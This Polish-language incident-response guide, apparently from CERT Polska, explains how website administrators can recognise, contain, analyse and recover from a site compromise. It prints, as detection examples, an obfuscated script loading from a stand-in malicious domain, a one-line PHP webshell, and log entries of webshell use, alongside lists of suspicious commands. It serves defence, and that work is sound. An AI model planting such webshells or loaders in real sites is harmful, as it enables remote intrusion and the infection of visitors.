Przejęta strona internetowa¶

Warto zaznaczyć, że możliwości samodzielnej reakcji na infekcję różnią się w zależności od modelu utrzymywania strony. Administrator posiadający serwer VPS lub utrzymujący stronę lokalnie ma dostęp do pełnych logów hosta, natomiast w przypadku hostingu współdzielonego dostęp ten jest ograniczony, a analiza zdarzeń sprowadza się głównie do logów aplikacji. W razie braku możliwości samodzielnego podjęcia działań należy skontaktować się z hostingodawcą w celu uzyskania logów oraz koordynacji zabezpieczenia strony.

Każdy incydent powiązany z infekcją strony należy zgłosić do właściwego zespołu CSIRT na zasadach opisanych w ustawie o krajowym systemie cyberbezpieczeństwa. Instrukcje zgłoszenia incydentu znajdą Państwo na stronie cyber.gov.pl.

Oznaki przejęcia strony¶

Ślady pozwalające zauważyć infekcję strony internetowej nie zawsze są jednakowe. Różnią się one w zależności od intencji atakującego oraz rodzaju uzyskanego dostępu. Poniższe objawy można traktować jako wskaźniki infekcji strony internetowej. Powinny one zwrócić uwagę administratora i skłonić do dokładnej weryfikacji. Warto również zwrócić uwagę na informacje otrzymywane od użytkowników strony internetowej lub hostingodawcy, wskazujące na wymienione niżej objawy.

1. Obecność niezidentyfikowanego skryptu w kodzie strony¶

Atakujący mogą umieścić szkodliwy skrypt w różnych miejscach kodu strony, w szczególności w nagłówku lub stopce. Często jest on pobierany z zewnętrznego serwera. Uwagę powinien zwrócić kod w tagach <script> wykorzystujący obfuskujące funkcje JavaScript takie jak atob(), eval(), unescape() czy String.fromCharCode(). Uwagę zwrócić powinny również skrypty zawierające nietypowe ciągi znaków zakodowane w base64 lub wskazujące jako src podejrzaną domenę.

<script src="https://example-malicious.cert.pl/metrics.js"></script>

<script>
    var encodedData = "YWxlcnQoJ0V4YW1wbGUgbWFsaWNpb3VzIHNjcmlwdCBleGVjdXRpb24nKQ==";
    eval(atob(encodedData));
</script>

2. ClickFix¶

Przejęta strona internetowa może być wykorzystana do przeprowadzania ataku z wykorzystaniem fałszywej weryfikacji CAPTCHA (ClickFix). Polega on na nakłonieniu odwiedzających zainfekowaną stronę do skopiowania szkodliwego fragmentu kodu i wklejenia go do konsoli systemowej. Warto zaznaczyć, że fałszywa weryfikacja nie jest z reguły wyświetlana wszystkim odwiedzającym. Atakujący mają w zwyczaju ograniczać wyświetlanie fałszywej weryfikacji CAPTCHA do wybranych systemów operacyjnych, najczęściej poprzez weryfikację nagłówka User-Agent bądź telemetrii przeglądarki.

3. Defacement¶

Atakujący po przejęciu dostępu do strony internetowej umieszczają na niej plik z komunikatem o włamaniu lub zmieniają wygląd strony głównej na treści zawierające informację o ataku. Najczęściej ma to na celu zademonstrowanie przejęcia strony. Defacement często przeprowadzany jest przez atakujących mających motywację o charakterze hacktywistycznym, promujących cele społeczno-polityczne.

4. Redirecting¶

Przejęte strony mogą być wykorzystywane do przekierowywania na strony kontrolowane przez atakujących. Często mają one charakter hazardowy lub phishingowy. Przekierowanie może być realizowane poprzez zmianę pliku .htaccess, implementację meta tagu http-equiv=”refresh” lub umieszczenie w kodzie strony skryptu JavaScript. Podobnie jak w wypadku techniki ClickFix, przekierowanie często ograniczone jest do wybranych systemów operacyjnych.

5. SEO SPAM¶

SEO SPAM (ang. Search Engine Optimization Spam) to technika polegająca na manipulacji wynikami wyszukiwarek internetowych w celu promowania szkodliwych treści (najczęściej hazardu). Atakujący modyfikują treść przejętych stron, aby wykorzystać ich pozycjonowanie do promowania własnych usług. Modyfikacja polega m.in. na umieszczeniu ukrytych linków do stron atakujących lub słów kluczowych pozycjonujących ich działalność. Treści te najczęściej pozostają widoczne jedynie dla robotów wyszukiwarek internetowych. Podobnie jak dla wyżej opisanych technik, najczęściej odbywa się to poprzez weryfikację nagłówków HTTP.

6. Oznaczenie przez wyszukiwarki¶

Wyszukiwarki internetowe, takie jak Google, mogą oznaczać zainfekowane strony jako szkodliwe, najczęściej na podstawie wykrycia ukrytych linków, wyświetlania innej wersji strony dla wyszukiwarki lub podstron o charakterze spamu. W Google zainfekowane strony oznaczane są informacją "This site may harm your computer" / "This site may be hacked" obok wyniku wyszukiwania lub poprzez wyświetlanie takiego komunikatu przed wejściem użytkownika na zainfekowaną stronę.

Postępowanie w razie infekcji¶

Opisane w kolejnych sekcjach działania różnią się w zależności od modelu utrzymywania strony. Niektóre z nich dostępne będą wyłącznie dla administratorów utrzymujących stronę lokalnie. W wypadku, gdy strona zarządzana jest przez zewnętrznego dostawcę, zalecamy natychmiastowy kontakt i zlecenie zabezpieczenia strony oraz plików z logami.

Izolacja serwera¶

W przypadku zidentyfikowania infekcji strony internetowej, zalecamy odcięcie serwera HTTP od sieci, aby uniemożliwić dalszą działalność atakujących i zapobiec infekcji odwiedzających stronę użytkowników. W przypadku serwerów utrzymywanych lokalnie, można to zrealizować odłączając je od Internetu fizycznie lub logicznie (blokada ruchu na firewallu). W przypadku, gdy wyłączenie serwera nie jest możliwe, zalecamy wprowadzenie tymczasowego trybu serwisowego (ang. maintenance mode). Wprowadzenie takiego trybu można wykonać na poziomie systemu CMS lub ustawień serwera HTTP. Poniżej zamieszczono instrukcję wprowadzenia trybu serwisowego dla najpopularniejszych systemów CMS i serwerów HTTP.

function maintenance_mode() {
    if ( ! current_user_can( 'edit_themes' ) && ! is_user_logged_in() ) {
        wp_die( '<h1>Przepraszamy, trwają prace serwisowe</h1><p>Wracamy wkrótce.</p>',
        'Przerwa techniczna',
        array('response' => 503)
        );
    }
}
add_action( 'template_redirect', 'maintenance_mode' );

    <?php
    $upgrading = time();
    ?>

RewriteEngine On
RewriteCond %{REQUEST_URI} !^/maintenance.html$
RewriteCond %{REQUEST_URI} !\.(jpg|png|gif|css|js)$

# Podmień na adres IP administratora
RewriteCond %{REMOTE_ADDR} !^172\.0\.0\.1$
RewriteRule ^ - [R=503,L]
ErrorDocument 503 /maintenance.html

sudo apachectl configtest
sudo systemctl reload apache2  # lub httpd w systemach RHEL/CentOS

    set $maintenance 1;

    # Podmień na adres IP administratora
    if ($remote_addr = "127.0.0.1") {
        set $maintenance 0;
    }

    if ($maintenance) {
        return 503;
    }

    error_page 503 @maintenance;
    location @maintenance {
        root /var/www/maintenance;
        rewrite ^ /maintenance.html break;
}

sudo nginx -t
sudo systemctl reload nginx

Zabezpieczenie logów¶

Po wyłączeniu strony rekomendujemy zabezpieczenie logów serwera HTTP (access.log, error.log) oraz logów systemowych. Analiza tych plików może okazać się niezbędna w procesie analizy przebiegu incydentu (samodzielnej lub przez właściwy zespół CSIRT). Warto zabezpieczyć logi jak najszybciej oraz regularnie wykonywać ich archiwizację, ze względu na ryzyko nadpisania danych w wyniku rotacji. Poniżej zawarto informację o zabezpieczaniu logów w popularnych serwerach HTTP oraz systemach operacyjnych.

W przypadku, gdy strona zarządzana jest przez zewnętrznego dostawcę, zalecamy natychmiastowy kontakt z dostawcą z prośbą o zabezpieczenie logów.

Wstępna analiza¶

W wypadku potwierdzenia infekcji strony, analiza logów po stronie administratora powinna skupiać się na ustaleniu wektora infekcji (przyczyny wystąpienia incydentu), identyfikacji zmodyfikowanych plików oraz utworzonych przez atakujących nowych szkodliwych plików, a także ustaleniu zakresu danych, do których mogli oni uzyskać dostęp. Poniżej zawarto listę artefaktów (z podziałem na źródło danych), pod kątem których należy zweryfikować serwer.

Logi serwera HTTP¶

Analiza logów serwera HTTP powinna skupiać się na identyfikacji niestandardowych żądań do serwera oraz nowych plików utworzonych przez atakujących. Poniżej wymieniono główne rodzaje zapytań do serwera, na które warto zwrócić szczególną uwagę:

• Podejrzane żądania POST - niestandardowe zapytania POST, w szczególności do plików umieszczonych w katalogach, w których nie powinny znajdować się pliki wykonywalne (np. /images/, /uploads/) mogą być powiązane z obecnością szkodliwego oprogramowania typu webshell, pozwalającego atakującym na zdalne wykonywanie komend na serwerze.

127.0.0.1 - - [12/Aug/2026:15:05:42 +0200] "POST /wp-content/uploads/2024/01/wso.php HTTP/1.1" 200 4521 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
127.0.0.1 - - [12/Aug/2026:15:05:43 +0200] "POST /wp-content/uploads/2024/01/wso.php HTTP/1.1" 200 12450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
127.0.0.1 - - [12/Aug/2026:15:05:47 +0200] "POST /wp-content/uploads/2024/01/wso.php HTTP/1.1" 200 8320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

• Żądania powiązane ze znanymi podatnościami - analizując logi serwera HTTP należy zweryfikować wykorzystywaną wersję systemu CMS oraz jego rozszerzeń i sprawdzić, czy dla danej wersji oprogramowania zostały opublikowane podatności. Jeżeli taka podatność (lub podatności) zostanie zidentyfikowana, warto zweryfikować logi pod kątem żądań charakterystycznych dla jej wykorzystania. Podatności w systemach CMS oraz ich rozszerzeniach pozostają głównym wektorem infekcji stron.

127.0.0.1 - - [12/Aug/2026:15:05:47 +0200] "POST /?rest_route=/batch/v1 HTTP/1.1" 207 786 "-" "Python-urllib/3.12" 

• Ślady SQL injection - wystąpienie w żądaniach zapytań SQL, szczególnie w parametrach takich jak id, czy powiązanych z formularzami często wskazuje na próby wykonania ataku SQL Injection, mającego na celu uzyskanie dostępu do zawartości bazy danych lub jej modyfikację.

• Ciągi znaków base64 - niespodziewana obecność ciągów znaków zakodowanych w base64 w parametrach żądań może wskazywać na próby zdalnego wykonywania kodu.
• Niestandardowy User-Agent - weryfikacja nagłówka User-Agent może pozwolić na identyfikację narzędzi automatyzujących ataki, takich jak sqlmap,nikto,python.
• Nieautoryzowane logowania - udane logowanie do panelu administratora systemu CMS, poprzedzone serią nieudanych logowań, może wskazywać na udany atak brute-force. Warto również zwrócić uwagę na logowania do panelu administratora z nieznanych adresów IP, w szczególności zagranicznych lub będących węzłami sieci TOR.
• Błędy PHP w error.log - ostrzeżenia i błędy wskazujące na modyfikację plików, wywołanie niedozwolonych funkcji, nadpisanie funkcji lub próby dostępu do plików spoza katalogu aplikacji (np. file_get_contents('/etc/passwd')) mogą być powiązane z działalnością atakujących.

Logi hosta¶

Wstępna analiza logów systemowych powinna skupić się na weryfikacji rodzaju dostępu uzyskanego przez atakujących. Możliwa jest ona w przypadku serwerów zarządzanych lokalnie lub w modelu VPS. Poniższe wskazówki dotyczą serwerów działających pod systemem Linux, najczęściej spotykanym w kontekście hostowania aplikacji webowych.

• Logowania SSH z nieznanych IP - w szczególności udane logowania z zagranicznych adresów IP, z węzłów sieci TOR, a także z hostów, z których nie odnotowano wcześniej logowań. Logi SSH znajdują się zazwyczaj w pliku /var/log/auth.log (Debian/Ubuntu) lub /var/log/secure (RHEL/CentOS). Należy również zweryfikować logi sesji (/var/log/wtmp - udane logowania) odczytywane poleceniem last. Kluczowa dla ustalenia rodzaju dostępów atakujących jest także weryfikacja uprawnień kont, do których nastąpiły nieautoryzowane logowania.
• Aktywność FTP z nieznanych IP - podobnie jak w przypadku logowań SSH, należy zweryfikować udane logowania oraz transfery plików. Lokalizacja logów FTP zależy od serwera, najczęściej zapisywane są one w katalogu /var/log.
• Nietypowe polecenia systemowe - analiza historii poleceń (plik ~/.bash_history) powinna skupiać się na identyfikacji wywołań komend pobierających pliki (wget, curl), modyfikujących uprawnienia (chmod), uruchamiających połączenia sieciowe (nc) oraz tworzących nowych użytkowników (useradd, adduser).
• Nowe klucze SSH - atakujący dodają nowe klucze SSH do pliku ~/.ssh/authorized_keys w celu zapewnienia trwałego dostępu do serwera.
• Nowe konta użytkowników - należy zweryfikować pliki /etc/shadow oraz /etc/passwd pod kątem utworzenia nowych, nieznanych kont.
• Zadania crona - atakujący często zapewniają sobie stały dostęp do systemu poprzez cyklicznie wykonywane zadania. Należy je zweryfikować (komenda crontab -l) pod kątem nieautoryzowanych wpisów, które mogą m.in. przywracać infekcję strony po jej usunięciu przez administratora.

Pliki serwera HTTP¶

• Nieznane skrypty PHP - należy zwrócić uwagę na nieobecne wcześniej na serwerze pliki, w szczególności umożliwiające zdalne wykonywanie kodu (webshell). W języku PHP skrypty te często cechuje występowanie takich komend jak system(),exec(), shell_exec(), passthru(), eval(). W szczególności podejrzenia powinna budzić obecność wykonywalnych plików w katalogach, w których nie powinny się znajdować np. /images, /uploads, /tmp.

<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']); 
} 
?>

172.21.0.1 - - [17/Aug/2026:09:24:16 +0000] "GET /shell.php?cmd=whoami HTTP/1.1" 200 19 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" "-"

• Pliki zmodyfikowane w trakcie incydentu - po ustaleniu ram czasowych incydentu (na podstawie analizy logów), należy zidentyfikować nowo utworzone lub zmodyfikowane pliki w okresie jego trwania. Kluczowa jest ich weryfikacja pod kątem szkodliwej zawartości. Należy pamiętać, że atakujący mogą sfałszować daty modyfikacji, dlatego weryfikacja znaczników czasu nie zwalnia z analizy pozostałych plików.
• Fałszywe motywy i rozszerzenia systemu CMS - atakujący często maskują pozostawiony przez siebie dostęp do systemu jako fałszywe rozszerzenia i motywy systemu CMS. W systemie WordPress szczególnie popularne jest umieszczanie szkodliwych wtyczek w katalogu mu-plugins. Rozszerzenia obecne w tym katalogu są ładowane automatycznie i nie pojawiają się w liście rozszerzeń w panelu administratora.
• Zmodyfikowane pliki bazowe systemu CMS - popularnym działaniem atakujących jest modyfikacja istniejących plików systemu CMS, w szczególności index.php oraz plików konfiguracyjnych systemu CMS (WordPress - wp-config.php, Joomla - configuration.php). Często modyfikowany jest również plik functions.php w motywach systemu WordPress, ze względu na jego automatyczne ładowanie przy każdej wizycie. Weryfikację zmian ułatwia porównanie plików z oficjalnym repozytorium systemu CMS.
• Modyfikacja plików konfiguracyjnych serwera - modyfikacje te mogą służyć do przekierowań na szkodliwe strony (często jedynie dla ograniczonej grupy odwiedzających) lub ukrywania plików webshell. W serwerach Apache atakujący często modyfikują plik .htaccess (w szczególności reguły RewriteRule, Redirect, AddHandler). W serwerach Nginx odpowiednikiem są pliki konfiguracyjne stron internetowych (w katalogach /etc/nginx/sites-available/, /etc/nginx/conf.d/), gdzie atakujący mogą modyfikować dyrektywy rewrite, return lub location. Wymaga to jednak dostępu do plików poza katalogiem aplikacji.
• Modyfikacja plików robots.txt i sitemap.xml - atakujący mogą modyfikować te pliki w celu przeprowadzenia kampanii SEO SPAM lub ukrycia infekcji. W pliku robots.txt popularne jest dodawanie reguł blokujących indeksowanie katalogów z narzędziami atakujących, a także wymuszanie indeksowania stron zawartych w utworzonych przez nich mapach strony. W sitemap.xml, a także w nowo utworzonych mapach strony, atakujący mogą dodawać adresy URL szkodliwych podstron, aby przyspieszyć ich indeksowanie i wykorzystać autorytet przejętej domeny. Często nie istnieją one na serwerze, lecz są generowane dynamicznie w trakcie odwiedzania strony przez robota wyszukiwarki.
• Nowe konta administratorów systemu CMS - nowe konta administratorów systemu CMS tworzone są przez atakujących, aby zapewnić trwały dostęp do panelu zarządzania stroną, nawet po usunięciu szkodliwych skryptów. Należy zweryfikować listę użytkowników CMS ze szczególnym uwzględnieniem kont z uprawnieniami administratora utworzonych w czasie trwania incydentu. Konta te mogą nosić nazwy przypominające prawidłowych użytkowników (np. admin_support, system, wp_update).
• Nieautoryzowane wpisy w bazie danych - aktywność atakujących może być również widoczna w postaci wpisów w bazie danych. Zapewnia to im trwały dostęp w wypadku usunięcia szkodliwych plików.

• Weryfikacja integralności plików - uzupełnieniem manualnej analizy mogą być zewnętrzne narzędzia, które porównują pliki strony z oficjalnym repozytorium systemu CMS lub czystą kopią zapasową. Dla systemu WordPress dostępne są wtyczki, takie jak Wordfence czy Sucuri Scanner, a dla systemu Joomla - Akeeba Admin Tools. Jeśli dostępna jest zidentyfikowana jako czysta kopia zapasowa, warto również samodzielnie porównać z nią aktualne pliki (np. poleceniem diff).

Zabezpieczenie po infekcji¶

Odbudowa strony¶

Jeśli w toku samodzielnej analizy lub analizy przez zespół CSIRT udało się jednoznacznie zidentyfikować wektor i czas infekcji, można rozważyć przywrócenie strony z kopii zapasowej sprzed incydentu. Po przywróceniu strony z kopii zapasowej, zalecamy dalsze monitorowanie logów serwera pod kątem żądań mogących wskazywać na obecność plików webshell lub próby ich wykorzystania.

W przypadku, gdy atakujący posiadają dostęp do strony od dłuższego czasu, a wektor oraz czas infekcji pozostają nieznane, rekomendowana jest odbudowa strony od podstaw, z wykorzystaniem czystej instalacji systemu CMS oraz zaktualizowanych komponentów, a następnie przeniesienie na nowo zbudowaną stronę wyłącznie plików zawierających treści, po ich wcześniejszej weryfikacji. Zidentyfikowanie wszystkich mechanizmów trwałego dostępu (persistence) pozostawionych przez atakujących, pełne odtworzenie działań atakującego oraz identyfikacja wszystkich elementów odpowiadających za infekcję bywają często trudne i czasochłonne.

Jeśli analiza incydentu wskazuje, że atakujący uzyskali uprawnienia administratora na całym hoście, na którym działa strona, konieczne jest przywrócenie do ustawień fabrycznych całej maszyny.

Dobre praktyki¶

Po odbudowie strony warto wdrożyć dobre praktyki, które pomogą nam zapobiec ponownej infekcji. Poniżej zawarto zestawienie najważniejszych z nich:

• Regularne aktualizacje oprogramowania - należy utrzymywać aktualne wersje systemu CMS, jego wtyczek, rozszerzeń, motywów, a także aktualną wersję oprogramowania serwera. W szczególności zalecamy regularny przegląd powiadomień producentów używanego oprogramowania informujących o zidentyfikowanych w oprogramowaniu podatnościach i bieżące instalowanie aktualizacji bezpieczeństwa. Zachęcamy do śledzenia komunikatów o podatnościach publikowanych przez CERT Polska w serwisie moje.cert.pl. Warto również odinstalować nieużywane rozszerzenia, aby minimalizować powierzchnię ataku.

• Wykonywanie kopii zapasowych - regularne wykonywanie kopii zapasowych plików strony i bazy danych zapewnia łatwość w przywróceniu strony po infekcji. Kopię należy przechowywać poza serwerem hostującym stronę, aby w razie infekcji atakujący nie uzyskali do niej dostępu. Wykonanie kopii często możliwe jest z poziomu panelu (m.in. cPanel oraz Plesk) udostępnianego przez hosting. Niektórzy hostingodawcy mają w zwyczaju samodzielnie wykonywać kopię zapasowe stron klientów.

• Wdrożenie WAF - należy rozważyć wdrożenie rozwiązania Web Application Firewall, analizującego żądania HTTP i blokującego ruch, który wpisuje się w znane wzorce ataku. Usługa taka może być wdrożona lokalnie lub w modelu chmurowym. Część hostingodawców oferuje tego typu rozwiązanie dla wszystkich swoich klientów.

• Rotacja poświadczeń - po infekcji strony rekomendujemy zmianę wszystkich haseł oraz kluczy, do których atakujący mógł uzyskać dostęp. W zależności od modelu utrzymywania strony i jej profilu, mogą to być m.in. dane logowania do panelu administracyjnego hostingu, konta administratora systemu CMS, hasła do SSH, FTP, klucze SSH, dane logowania użytkowników strony. Warto również zmienić dane logowania w innych miejscach, gdzie były używane te same hasła.

• Uwierzytelnianie dwuskładnikowe - zalecamy wdrożenie mechanizmu 2FA przy logowaniu do panelu administratora systemu CMS oraz panelu klienta hostingu, jeśli taka opcja jest dostępna. Chroni to przed atakami brute-force oraz wykorzystaniem wykradzionych haseł.

• CAPTCHA - rekomendujemy implementację mechanizmu CAPTCHA w panelu logowania administratora oraz dla wszystkich dostępnych publicznie formularzy. Pozwala on na identyfikację żądań wykonywanych automatycznie i chroni przed spamem oraz atakami typu brute-force. Rozwiązania CAPTCHA udostępnia m.in. Google. Ich implementacja w popularnych systemach CMS wymaga instalacji dodatkowych rozszerzeń.
• Ograniczenie dostępności panelu administratora - zalecamy możliwie ograniczyć dostępność panelu administratora systemu CMS. Dla systemów CMS WordPress i Joomla dostępne są rozszerzenia umożliwiające ograniczenie dostępności panelu logowania oraz całej strony do wybranych adresów IP lub użytkowników z wybranych państw. Administratorzy utrzymujący stronę lokalnie powinni rozważyć implementację mechanizmu fail2ban, blokującego użytkowników wykonujących wielokrotne nieudane logowania do serwera. Podobne rozwiązanie udostępniają również rozszerzenia systemu WordPress. Możliwość skutecznego skanowania strony oraz ataków brute-force ogranicza również zmiana domyślnych ścieżek panelu administratora. Dla systemu WordPress pozwalają na to zewnętrzne rozszerzenia.
• Ograniczenie katalogów z uprawnieniem wykonywania skryptów PHP - pozwala na ograniczenie możliwości wykorzystania oprogramowania typu webshell. Na serwerze Apache implementowane jest poprzez dodanie pliku .htaccess w katalogu, który ma zostać zabezpieczony. W przypadku serwera Nginx analogicznej blokady dokonuje się w konfiguracji wirtualnego hosta. Wprowadzenie podobnych ustawień umożliwiają również rozszerzenia popularnych systemów CMS. Poniżej zamieszczono przykładowe reguły ograniczania dostępu do wykonywania skryptów PHP w wybranym katalogu na poziomie serwera.

<FilesMatch "\.(php|phtml|phar|phps)$">
    Require all denied
</FilesMatch>

location ~* /uploads/.*\.php$ {
    deny all;
    return 403;
}

• Usługa moje.cert.pl - zachęcamy też do założenia konta w serwisie moje.cert.pl, dzięki któremu mogą Państwo otrzymywać informacje o aktualnych kampaniach, wyciekach danych użytkowników w Państwa domenie oraz wykrytych zagrożeniach związanych z wykorzystywaną adresacją. Konto umożliwia też zlecenie skanowania podatności poprzez narzędzie Artemis.

Ostatnia aktualizacja artykułu: 2026-09-02.